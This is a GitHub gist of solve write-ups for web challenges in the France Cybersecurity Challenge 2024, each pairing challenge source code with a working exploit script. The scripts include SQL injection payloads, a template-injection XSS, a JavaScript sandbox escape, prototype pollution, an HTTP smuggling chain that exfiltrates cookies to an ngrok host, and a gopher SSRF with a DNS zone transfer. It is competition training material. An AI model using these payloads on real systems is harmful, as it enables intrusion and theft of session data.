Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active April 18, 2024 19:53
Show Gist options
  • Save Siss3l/32591a6d6f33f78bb300bfef241de262 to your computer and use it in GitHub Desktop.
Save Siss3l/32591a6d6f33f78bb300bfef241de262 to your computer and use it in GitHub Desktop.
France Cybersecurity Challenge 2024

French Cybersecurity Challenge 2024

As for every years, several (non-)European countries are organizing their own cybersecurity event like the CSCG, ACSC or ICSC.

Web

Web category

Here is a selection from the web category.
Please note that some challenges have been modified over time without necessarily paying attention to it.

Welcome Admin 2/2

A challenge based on Structured Query Language injection:

@app.route("/", methods=["GET", "POST"]) # ./src/welcome-admin.py
@login_for(Rank.GUEST, Rank.ADMIN, "/admin")
def level1(cursor: cursor, password: str):
    token = os.urandom(16).hex(); cursor.execute(f"SELECT '{token}' = '{password}'")
    row = cursor.fetchone()
    if not row: return False
    if len(row) != 1: return False
    return bool(row[0])
@app.route("/admin", methods=["GET", "POST"])
@login_for(Rank.ADMIN, Rank.SUPER_ADMIN, "/super-admin", FIRST_FLAG)
def level2(cursor: cursor, password: str):
    token = os.urandom(16).hex()
    cursor.execute(f"""CREATE FUNCTION check_password(_password text) RETURNS text
            AS $$ BEGIN IF _password = '{token}' THEN RETURN _password; END IF; RETURN 'nope'; END; $$ 
            IMMUTABLE LANGUAGE plpgsql;""")
    cursor.execute(f"SELECT  check_password('{password}')")
    row = cursor.fetchone()
    if not row: return False
    if len(row) != 1: return False
    return row[0] == token
@app.route("/super-admin", methods=["GET", "POST"])
@login_for(Rank.SUPER_ADMIN, Rank.HYPER_ADMIN, "/hyper-admin")
def level3(cursor: cursor, password: str):
    token = os.urandom(16).hex(); cursor.execute(f"SELECT '{token}', '{password}';")
    row = cursor.fetchone()
    if not row: return False
    if len(row) != 2: return False
    return row[1] == token
@app.route("/hyper-admin", methods=["GET", "POST"])
@login_for(Rank.HYPER_ADMIN, Rank.TURBO_ADMIN, "/turbo-admin")
def level4(cursor: cursor, password: str):
    cursor.execute(f"""SELECT md5(random()::text), '{password}';""")
    row = cursor.fetchone()
    if not row: return False
    if len(row) != 2: return False
    return row[0] == row[1]
@app.route("/turbo-admin", methods=["GET", "POST"])
@login_for(Rank.TURBO_ADMIN, Rank.FLAG, "/flag")
def level5(cursor: cursor, password: str):
    table_name = "table_" + os.urandom(16).hex()
    col_name = "col_" + os.urandom(16).hex()
    token = os.urandom(16).hex()
    cursor.execute(f"""CREATE TABLE "{table_name}" (id serial PRIMARY KEY, "{col_name}" text); INSERT INTO "{table_name}"("{col_name}") VALUES ('{token}');""")
    cursor.execute(f"SELECT '{password}';"); row = cursor.fetchone()
    if not row: return False
    if len(row) != 1: return False
    return row[0] == token
@app.route("/flag")
def flag():
    current_rank = Rank.from_session()
    if current_rank < Rank.FLAG: return "You are not allowed to access this page"
    return f"Congratulations! The flag is: {SECOND_FLAG}"
url = "https://welcome-admin.france-cybersecurity-challenge.fr"; url = "http://localhost:8000"
s = __import__("requests").session() # FCSC{94738150696e2903c924f0079bd95cd8256c648314654f32d6aaa090846a8af5}
_ = s.post(f"{url}", data={"password":"'or 1=1--"})
_ = s.post(f"{url}/admin", data={"password":"')union select substr(pg_get_functiondef('check_password'::regproc),0xb2,0x20)--"})
_ = s.post(f"{url}/super-admin", data={"password":"'or union(select null,substring(query from 0x9 for 0x20)from pg_stat_activity limit 1 offset 2)union select '',null where '0'='"})
_ = s.post(f"{url}/hyper-admin", data={"password":"'where 0=1 union select '','"})
print(s.post(f"{url}/turbo-admin", data={"password":"'where 0=1 union select substring(database_to_xml(true,true,'')::text,0xa8,0x20)where ''='"}).text)
# Congratulations! The flag is: FCSC{a380e590ae8ffe8da9bb86f27d05203b7f9d32dd37c833c2764097840848b3a2}

Noise

A challenge based on IDOR/SSTI:

diff --git a/src/app/layouts/bubbles.ts b/src/app/layouts/bubbles.ts
index 416e41c..66bd4ae 100644
--- a/src/app/layouts/bubbles.ts
+++ b/src/app/layouts/bubbles.ts
@@ -3,7 +3,7 @@ export default `
 <div class="flex flex-col space-y-px px-8 py-4">
   <div class="flex justify-start text-xs font-mono">
     {{ message.time.toLocaleString(undefined, { timeStyle: "short", hour12: false }) }} |
-    {{ message.author.split("-")[0] }}
+    XXX
   </div>
   <div class="flex justify-start text-xs font-mono">
     <div class="max-w-xs p-2 text-black bg-gray-300 rounded-lg">
@@ -28,7 +28,7 @@ export default `
 <div class="flex flex-col space-y-2">
 {%for message in messages%}
-  {% if message.author == userId %}
+  {% if message.author %}
     {{ sent(message) }}
   {% else %}
     {{ received(message) }}
diff --git a/src/app/layouts/irc.ts b/src/app/layouts/irc.ts
index 192497e..38aabd5 100644
--- a/src/app/layouts/irc.ts
+++ b/src/app/layouts/irc.ts
@@ -4,7 +4,7 @@ export default `
   <div
     class="grid grid-cols-subgrid col-span-full divide-x divide-blue-500 [&:nth-child(2n)::bg-black/5">
     <div class="px-2 py-1">{{ message.time.toLocaleString(undefined, { timeStyle: "short", hour12: false }) }}</div>
-    <div class="px-2 py-1">{{ message.author.split("-")[0] }}</div>
+    <div class="px-2 py-1">{{ "You" if message.author else "XXX" }}</div>
     <div class="px-2 py-1 truncate">
       {{message.content}}
     </div>
diff --git a/src/app/server/worker.ts b/src/app/server/worker.ts
index df227f6..6591a4b 100644
--- a/src/app/server/worker.ts
+++ b/src/app/server/worker.ts
@@ -33,8 +33,9 @@ pipe.on("addMessage", (userId, content) => {
 });
 pipe.on("render", (userId) => {
+  const msgs = messages.map((msg) => ({...msg, author: msg.author === userId}))
   return nunjucks.renderString(userTemplates.get(userId) ?? defaultTemplate, {
-    messages,
+    messages: msgs,
     userId,
     split: (s: string, size = 32) => {
       const result = [];
url = "https://noise.france-cybersecurity-challenge.fr"; url = "http://localhost:8000"
md5 = __import__("hashlib").md5().hexdigest()
s = __import__("requests").session()
_ = s.get(f"{url}/chat")
_ = s.get(f"{url}/api/room/{md5}")
_ = s.post(f"{url}/api/room/{md5}", data={"message":template.replace('message.author.split(\"-\")[0]', "message.author")})
_ = s.post(f"{url}/api/visit", data={"roomId":md5})
poc = b'''document.getElementById("form-btn").addEventListener("click",()=>document.cookie='userId='+document.getElementById('form-input').value+';path=/');'''
k = (b'{{"<html><body>"|safe}}{%for message in messages%}{{message.content}}{%endfor%}{{"</body><svg/onerror=eval(atob("'+__import__("base64").b64encode(poc)+b'"))>"|safe}}').hex()
t = s.post(f"{url}/api/room/{md5}", data={"message":k})
while 1:
    t = s.get(f"{url}/api/room/{md5}").text
    if "596f" in t:
        print(t.text); print(bytes.fromhex("596f752063616e2068617665207468697320666c616720696620796f752077616e743a20464353437b386532393665646335323835383938643732316665623062643635353265316237616333336338666261393030363066616465643536373033326331306139667d").decode())
        break # You can have this flag if you want: FCSC{8e296edc5285898d721feb0bd6552e1b7ac33c8fba90060faded567032c10a9f}

Addendum

One part of the challenge has been patched but we (or LLM) can get some prototype pollution with the nunjucks templating:

import nunjucks from "nunjucks"; // ./src/app/server/worker.js
import { createPipe } from "./pipe"; // I've heard that nunjucks is vulnerable to SSTI but I think this is enough to prevent it
const removeConstructor = (obj) => Object.defineProperty(obj.__proto__, "constructor", { value: null });
removeConstructor(async function*() {}); // https://stackoverflow.com/questions/12678716
removeConstructor(async function() {});
removeConstructor(function*() {});
removeConstructor(function() {}); // ----------------------------
nunjucks.configure({ autoescape: true, noCache: true });
const pipe = createPipe(self);
const messages = [];
const userTemplates = new Map();
pipe.on("addMessage", (userId, content) => {
  messages.push({
    author: userId, content,
    time: new Date(),
  });
});
pipe.on("render", (userId) => {
  return nunjucks.renderString(userTemplates.get(userId) ?? defaultTemplate, {
    messages, userId,
    split: (s, size = 32) => { // Problem here, a bit like "rock"
      const result = [];
      for (let i = 0; i < s.length; i += size) { result.push(s.slice(i, i + size)); }
      return result.join(" ");
    },
  });
});
pipe.on("updateTemplate", (userId, template) => { userTemplates.set(userId, template); });

CORS Playground

A challenge based on CORS headers and dotenv exfiltration.
There were two dotenv .env files present in the cors.tar.xz archive which was obviously unplanned, but made solving the challenge much easier:

const express = require("express"); // ./src/app/app.js
const cookieSession = require("cookie-session"); require("dotenv").config();
const app  = express();
app.use(cookieSession({ // KEY1=244f6308a26ad41dd8ebacf617282a7f3dc1cb6fec5fa7a03f1a907857295620 KEY2=c3f8b13c86454198e624813a8d480dd2a43ed5154e5b43f33eedfe962831bbf2
    name: "session", keys: [process.env.KEY1, process.env.KEY2] // curl "https://cors-playground.france-cybersecurity-challenge.fr/cors?x-accel-redirect=.env"
}));
app.all("/cors", (req, res) => {
    for (const [key, value] of Object.entries(req.query)) {
        if (key.includes("X-")) delete req.query[key]
    }
    res.set(req.query);
    if (req.session.user === "internal" && !req.query.filename?.includes("/")) {
        res.sendfile(req.query.filename || "app.js");
    } else {
        res.send("Hello World!");
    }
});
app.use(express.static("public"));
app.listen(process.env.PORT, () => { console.log(`CORS Playground running on port ${process.env.PORT}`); });
GET /cors?filename[]=/flag.txt HTTP/1.1
Host: cors-playground.france-cybersecurity-challenge.fr
Connection: close
Cookie: session=...==;session.sig=...

FCSC{17747e6e30f378a2fc84f3d6fa93c192e0d3e5dbe670d8913c67c99741e62c5c} old one
FCSC{692ee58458f81decea191104293b2cd00e7d96f287c0f693f9737fbb2bcf5f46} new one

Abyssal Odds

A challenge based on unsafe randomness:

export const fullCollection = [ // ./src/utils/collections.ts
  { name: "Ocean Pearl Bivalve", img: "/mussle.webp" },
  { name: "Royal Crustacean", img: "/crab.webp" },
  { name: "Luminescent Medusa", img: "/jellyfish.webp" },
  { name: "Sovereign Cephalopod", img: "/octopus.webp" },
  { name: "Coral Reef Specter", img: "/shrimp.webp" },
  { name: "Celestial Seastar", img: "/star.webp" },
  { name: "Majestic Chelonian", img: "/turtle.webp" },
  { name: "Treasure Trove", img: "/molluscs.webp" },
] as const;
export interface LootBox {
  id: string;
  seed: number;
}
export function createBox() {
  return {
    id: randomHex(),
    seed: randomNumber(),
  };
}
function _openBox(box: LootBox, key: number) {
  const ts = Math.floor(Date.now() / 1000);
  switch (true) {
    case key === box.seed:
      return 1;
    case Math.abs(key - ts) < 60:
      return 2;
    case box.seed % key === 0:
      return 3;
    case Math.cos(key) * 0 !== 0:
      return 4;
    case key && (box.seed * key) % 1337 === 0:
      return 5;
    case key && (box.seed | key) === (box.seed | 0):
      return 6;
    case !(key < 0) && box.seed / key < 0:
      return 7;
    default:
      return 0;
  }
}
export function openBox(box: LootBox, key: number) {
  const lootId = _openBox(box, key);
  const loot = fullCollection[lootId];
  console.log(`[BOX OPEN] seed=${box.seed} key=${key} result=${loot.name}`);
  return { loot, lootId };
}
url = "https://abyssal-odds.france-cybersecurity-challenge.fr"; url = "http://localhost:8000"
s = __import__("requests").session() # [...] buying()
_ = send(0)
_ = send(xs128p) # cfr. https://github.com/d0nutptr/v8_rand_buster/blob/master/xs128p.py
_ = send(round(time.time()))
_ = send(1)
_ = send("Infinity")
_ = send(0x539)
_ = send("02")
_ = send("-0")
open(s) # FCSC{1f007a2f9522ba392d045049fbf07504fa3cabf2c78c32f9b3ab2fd905653cca}

Monopoly

A challenge based on JavaScript sandbox:

function freezeEveryThing() {
  const asyncFunc = async function () {};
  const asyncGenFunc = async function* () {};
  const genFunc = function* () {};
  Function.prototype.constructor = null;
  Object.defineProperty(asyncFunc.constructor.prototype, "constructor", {
    value: null,
    configurable: false,
    writable: false,
  });
  Object.defineProperty(asyncGenFunc.constructor.prototype, "constructor", {
    value: null,
    configurable: false,
    writable: false,
  });
  Object.defineProperty(genFunc.constructor.prototype, "constructor", {
    value: null,
    configurable: false,
    writable: false,
  });
  Object.defineProperties = null;
  Object.defineProperty = null;
  Object.setPrototypeOf = null;
  Object.freeze(Array);
  Object.freeze(BigInt);
  Object.freeze(Error);
  Object.freeze(Function);
  Object.freeze(Math);
  Object.freeze(Number);
  Object.freeze(Object);
  Object.freeze(Promise);
  Object.freeze(RegExp);
  Object.freeze(String);
  Object.freeze(Symbol);
  Object.freeze(Array.prototype);
  Object.freeze(BigInt.prototype);
  Object.freeze(Error.prototype);
  Object.freeze(Function.prototype);
  Object.freeze(Math.prototype);
  Object.freeze(Number.prototype);
  Object.freeze(Object.prototype);
  Object.freeze(Promise.prototype);
  Object.freeze(RegExp.prototype);
  Object.freeze(String.prototype);
  Object.freeze(Symbol.prototype); // Object.freeze(Date);
  Object.freeze(asyncFunc.__proto__);
  Object.freeze(asyncGenFunc.__proto__);
  Object.freeze(genFunc.__proto__);
  Object.freeze(asyncGenFunc.__proto__.prototype);
  Object.freeze(genFunc.__proto__.prototype);
}
function proxyObject(obj, allowList) {
  if (!allowList) {
    allowList = Object.getOwnPropertyNames(obj);
  }
  return new Proxy(obj, {
    get(target, prop) {
      if (allowList.includes(prop)) {
        return target[prop];
      }
      return undefined;
    },
    set() {
      return false;
    },
    has(target, prop) {
      return allowList.includes(prop) && prop in target;
    },
    ownKeys(target) {
      return allowList;
    },
    setPrototypeOf() {
      return false;
    },
    getPrototypeOf() {
      return null;
    },
    getOwnPropertyDescriptor(target, prop) {
      if (allowList.includes(prop)) {
        return Object.getOwnPropertyDescriptor(target, prop);
      }
      return undefined;
    },
  });
}
function checkSyntax(code) {
  Function(code);
  if (/\bimport\s*(?:[(]|\/[*]|\/\/|<!--|-->)/.test(code)) {
    throw new Error("Dynamic imports are blocked");
  }
  return true;
}
function run(code) {
  freezeEveryThing();
  const newThis = {
    __proto__: null,
    console: proxyObject(console, ["log", "error", "warn", "info", "table", "clear"]),
    print: proxyObject(parent.postMessage.bind(parent)),
    Date: proxyObject(Date),
    String: proxyObject(String),
    Number: proxyObject(Number),
    Array: proxyObject(Array),
    Symbol: proxyObject(Symbol),
    Math: proxyObject(Math),
    Error: proxyObject(Error),
    RegExp: proxyObject(RegExp),
    Object: proxyObject(Object),
  };
  const global = new Proxy({
      __proto__: null,
      this: newThis,
      proxy: newThis,
      globalThis: newThis,
      window: newThis,
    },
    {
      get(obj, prop) { return Reflect.get(obj, prop); },
      set() {},
      has() { return true; },
    }
  );
  Function("global", `with(global){with(proxy){return (function(){"use strict"; print("[Jail] Started"); ${code}; })(); }}`)(global);
}
function safeEval(code) {
  try {
    parent.postMessage("[Jail] Powering up", "*");
    if (checkSyntax(code)) {
      const start = Date.now();
      run(code);
      const end = Date.now();
      parent.postMessage(`[Jail] Done (${end - start}ms)`, "*");
    }
  } catch (e) {
    parent.postMessage(`[Jail] Error: ${e}`, "*");
  }
}
// https://monopoly.france-cybersecurity-challenge.fr/jail.html?code=
try{Date.prototype.__defineGetter__.call(print,"length",function(){return this.__proto__})}catch(__){_=__;};print.length.constructor.constructor('alert("[GET OUT OF JAIL]")')()
// FCSC{2fdaccef0afb084f40c4bf38f681262141bcbabfbed0312725f59e40c54edb21}

Super Rock Quizz

A challenge based on prototype pollution:

const QUIZZ = [ "a rock", "a rock", "the rock", "the rock", "the rock", "a rock", "the rock",
  "the rock", "a rock", "a rock", "a rock", "a rock", "the rock", "the rock", "a the rock rock" ];
const QUIZZ_MAX = QUIZZ.length; // ./src/app/quizz.ts
QUIZZ[1337] = process.env.FLAG || "FCSC{flag}";
function isValidQuestion(question: number): question is number {
  const id = Number(question);
  if (Number.isNaN(id)) {
    return false;
  }
  if (Math.floor(id) !== id) {
    return false;
  }
  return id > -1 && id < QUIZZ_MAX;
}
export default {
  checkAnswer(question: number, answer: string) {
    if (!isValidQuestion(question)) {
      return false;
    }
    const correctAnswer = QUIZZ[question];
    const guess = answer.toString().toLowerCase();
    return guess.includes(correctAnswer);
  },
};
{
   "json": {
      "answer": {},
      "question": { "length": 1, "0": "1337" },
      "k": [], "v": 1
   },
   "meta": {
      "referentialEqualities": {
         "answer.valueOf": [ "answer.toLowerCase", "answer.toString" ],
         "v.propertyIsEnumerable": [ "question.valueOf" ],
         "k.join": [ "question.toString" ], "k.push": [ "answer.includes" ]
      }
   }
}

Twisty Python (Fixed)

A challenge based on HTTP Smuggling, while running the ./solution/submit_url.py script on our same VPS/host:

from flask import Flask, session, request, Response, render_template, jsonify
from os import urandom, environ; from hashlib import sha512; import bot
app = Flask(__name__) # ./src/app.py
app.secret_key = urandom(24)
def init(session):
    if "scores" not in session: session["scores"] = []
@app.route("/")
def index():
    init(session); return render_template("index.html")
@app.route("/api", methods=["GET", "POST"])
def note():
    init(session)
    action = request.args.get("action")
    if not action:
        return jsonify({"error": "?action= must be set!"})
    if action == "color":
        res = Response(request.args.get("callback"))
        res.headers["Content-Type"] = "text/plain"
        res.headers["Set-Cookie"] = f"color={request.args.get('color', 'red')}"
        return res
    if action == "add":
        if not request.method == "POST": return jsonify({"error": "invalid HTTP method"})
        d = request.form if request.form else request.get_json()
        if not ("name" in d and "score" in d): return jsonify({"error": "name and score must be set"})
        session["scores"] += [{"name": d["name"], "score": d["score"]}]
        return jsonify({"length": len(session["scores"])})
    if action == "view":
        raw = request.args.get("raw", False)
        if raw:
            res = Response("".join([f"{v['name']} -> {v['score']}\n" for v in session["scores"]]))
            res.headers["Content-Type"] = "text/plain"
        else: res = jsonify(session["scores"])
        return res
    if action == "clear":
        session.clear()
        return jsonify({"clear": True})
    return jsonify({"error": "invalid action value (color || add || view || clear)"})
# This part of the code is only used for the bot to visit the exploitation link. Don't lose your time auditing it.
def verify_pow(session, pow, difficulty=6):
    pow = sha512(pow.encode()).hexdigest()[:difficulty]; ret = "chall" in session and session["chall"] == pow
    session["chall"] = sha512(urandom(24).hex().encode()).hexdigest()[:difficulty]
    return ret
@app.route("/visit")
def visit():
    if not environ.get("LOCAL") and not verify_pow(session, request.args.get("pow", "random")): return jsonify({"chall": session["chall"]})
    url = request.args.get("url")
    if url and (url.startswith("https://") or url.startswith("http://")):
        bot.visit(url); return jsonify({"Visit": "OK"})
    else: return jsonify({"Error": "?url= must be set and starts with https:// or http://"})
if __name__ == "__main__":
    app.run("0.0.0.0", 8000)
#############################################
from selenium import webdriver # ./src/bot.py
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from time import sleep; from os import environ
def visit(url):
    chrome_options = Options()
    chrome_options.add_argument("--headless")
    chrome_options.add_argument("--incognito")
    chrome_options.add_argument("--no-sandbox")
    chrome_options.add_argument("--disable-gpu")
    chrome_options.add_argument("--disable-jit")
    chrome_options.add_argument("--disable-wasm")
    chrome_options.add_argument("--disable-dev-shm-usage")
    chrome_options.add_argument("--ignore-certificate-errors")
    chrome_options.binary_location = "/usr/bin/chromium-browser"
    service = Service("/usr/bin/chromedriver")
    driver = webdriver.Chrome(service=service, options=chrome_options)
    driver.set_page_load_timeout(3) # chromium-chromedriver~=123 
    driver.get("http://127.0.0.1:8000")
    driver.add_cookie({
        "name": "flag_medium",
        "value": environ.get("FLAG_MEDIUM"),
        "path": "/", "httpOnly": False,
        "samesite": "Strict", "domain": "127.0.0.1"
    })
    driver.add_cookie({
        "name": "flag_hard",
        "value": environ.get("FLAG_HARD"),
        "path": "/", "httpOnly": True,
        "samesite": "Strict", "domain": "127.0.0.1"
    })
    try: driver.get(url)
    except: pass
    sleep(3); driver.close()
from flask import Flask, Response, request; from pyngrok import ngrok
url = ngrok.connect(1234, "http", name="tunnel_ctf").public_url; k = __import__('urllib.parse').parse.quote(url); v = len(url)
chall = "https://twisty-python.france-cybersecurity-challenge.fr" # "http://localhost:8000/visit"
app = Flask(__name__)

@app.route("/")
def x():
    html = f"""<form/id=x/method="POST" action="http://localhost:8000/api?action=color&color=%ef%bf%bcx" enctype=text/plain><textarea name="GET /api?action">color&color=1&callback=HTTP%2F1.1+200+OK%0AServer%3A+Werkzeug%2F3.0.1+Python%2F3.11.8%0AContent-Type%3A+text%2Fhtml%3B+charset%3Dutf-8%0AContent-Length%3A+{29+v}%0AConnection%3A+close%0A%0A%3Cscript%20src%3D%27{k}%2Fz.js%27%3E%3C%2Fscript%3E HTTP/0.9
localhost%3A8000\r\nHost: localhost\r\n\r\n</textarea></form><form method="GET" action="http://localhost:8000/api?action=view"/id="y"></form><script>x.submit();setTimeout(2e3,()=>y.submit());</script>""".strip() # document.forms[0].submit();
    r = Response(html, mimetype="text/html")
    r.headers["Access-Control-Allow-Headers"] = r.headers["Access-Control-Allow-Methods"] = r.headers["Access-Control-Allow-Origin"] = "*"
    return r

@app.route("/z.js")
def y():
    html = f"""fetch("http://localhost:8000/api?action=color&callback=aaaaaaaaaaaaaaaaaaaaaaaaa&color=%EF%BF%Bcx", {{
        body:"POST /api?action=add HTTP/1.1\\r\\nExpect:100-Continue\\r\\nContent-Type:application/x-www-form-urlencoded\\r\\nConnection:keep-alive\\r\\nContent-Length:800\\r\\n\\r\\nscore=1&name=",
          method:"POST", mode:"cors", credentials:"include", keepalive:1
        }}).then(() => {{ fetch("http://localhost:8000/api?action=view", {{ referrer: "no-referrer", credentials: "include", mode:"cors" }})
        }}); setTimeout(() => {{
          fetch("http://localhost:8000/api?action=view", {{
            method:"GET", credentials: "include", mode: "cors", keepalive:1
          }}).then(r => r.text()).then(r=>{{ navigator.sendBeacon("{url}/exfil",btoa(r)) }});
    }}, 2e3);"""
    r = Response(html, mimetype="text/javascript")
    r.headers["Access-Control-Allow-Headers"] = r.headers["Access-Control-Allow-Methods"] = r.headers["Access-Control-Allow-Origin"] = "*"
    return r

@app.route("/exfil", methods=["POST"])
def z():
    print(request.data)
    # flag_medium=FCSC{ec0f4f2cd417f0788efd909767b0c2690f11bedb418b2d7773e6c9a6537c7a26}
    # flag_hard=  FCSC{a27d820450644445dda6757b8d01793456e6308a1c04bebaf5b434625129159e}
    return request.data.decode()
if __name__ == "__main__":
    _ = __import__("requests").session().get(f"http://localhost:8000/visit?url={__import__('urllib.parse').parse.quote('http://localhost:1234')}"); print(_, url, k, v)
    app.run(host="0.0.0.0", port=1234, debug=0)

Pong

A challenge based on DNS curl options, Tornado Python, Gopher SSRF and Backtracking bypass:

<?php
if (isset($_GET["source"])) { highlight_file("index.php"); exit(); }
$_GET["game"] = $_GET["game"] ?? "pong";
if (preg_match("/[^a-z\.]|((.{10,})+\.)+$|[a-z]{10,}/", $_GET["game"])) {
    echo "403 Forbidden!"; exit();
}
$ch = curl_init();
$options = [ CURLOPT_URL => "http://" . $_GET["game"] . ".fcsc2024.fr:5000" ];
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1" && isset($_GET["options"])) {
    $options += $_GET["options"];
}
curl_setopt_array($ch, $options);
curl_exec($ch);
?>
from dnslib.server import DNSServer, BaseResolver
from dnslib import RR, QTYPE, RCODE, A
from dns import resolver; from os import environ; import threading
DOMAINS = {"frontend.fcsc2024.fr.":environ["FRONTEND_IP"],"pong.fcsc2024.fr.":environ["BACKEND_IP"],f"{environ['FLAG_DOMAIN']}.fcsc2024.fr.":environ["FLAG_IP"]}
class LocalDNS(BaseResolver): # ./src/dns/src/dns_server.py
    def resolve(self, request, handler):
        reply = request.reply(); q = request.q
        if q.qtype == QTYPE.A and str(q.qname) in DOMAINS: reply.add_answer(RR(q.qname, QTYPE.A, rdata=A(DOMAINS[str(q.qname)])))
        elif q.qtype == QTYPE.A:
            default_resolver = resolver.Resolver()
            try:
                answers = default_resolver.resolve(str(q.qname), "A")
                for answer in answers: reply.add_answer(RR(q.qname, QTYPE.A, rdata=A(answer.address)))
            except:
                reply.header.rcode = RCODE.NXDOMAIN
        elif q.qtype == QTYPE.AXFR and str(q.qname) == "fcsc2024.fr.":
            for domain, ip in DOMAINS.items(): reply.add_answer(RR(domain, QTYPE.A, rdata=A(ip)))
        else:
            reply.header.rcode = RCODE.NXDOMAIN
        return reply
def run_server(protocol):
    resolver = LocalDNS()
    server = DNSServer(resolver, address="0.0.0.0", port=53, tcp=(protocol == "TCP"))
    server.start()
if __name__ == "__main__":
    threading.Thread(target=run_server, args=("TCP",)).start(); threading.Thread(target=run_server, args=("UDP",)).start()
url = "http://pong.france-cybersecurity-challenge.fr"; url = "http://localhost:8000"
# https://en.wikipedia.org/wiki/DNS_zone_transfer
print(__import__("requests").get(f"{url}/?game=aaaaa.aaa.aaa.a.a..........................................................................a@localhost/?game=aaaa.aaa.aaa................................................a@pong.fcsc2024.fr:5000%2523%26options[52]=true%26options[10036]={__import__('urllib.parse').parse.quote_plus(__import__('urllib.parse').parse.quote_plus(f"""GET gopher://pong-internal-dns:53/_%004n%db%00%20%00%01%00%00%00%00%00%01%08fcsc2024%02fr%00%00%fc%00%01%00%00%29%04%d0%00%00%00%00%00%0c%00%0a%00%08i%B8%29%3c05p%8a%2f..%2fjs HTTP/1.1\r\nHost:localhost\r\n\r\n"""))}%26options[182]=33554432%26a=%23").text)
# 37b9da922f6360e301faeff19bac866c1a042d4a (local fake_domain) is the flag domain name.
# FCSC{d8af233176d6ca50598a48fc47d8cadeae37b3d35a641efc1ad7777c86fe28a9}
# https://curl.se/libcurl/c/CURLOPT_CUSTOMREQUEST.html | https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545
# echo CURLOPT_FOLLOWLOCATION . ", " . CURLOPT_REDIR_PROTOCOLS; // 52, 182
# echo CURLOPT_USERAGENT . ", " . CURLOPT_CUSTOMREQUEST; // 10018, 10036
# echo CURLPROTO_GOPHER; // 33554432

Appendix

Unfortunately, the infrastructure was very unstable but we learned a lot along the way!

Bye

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment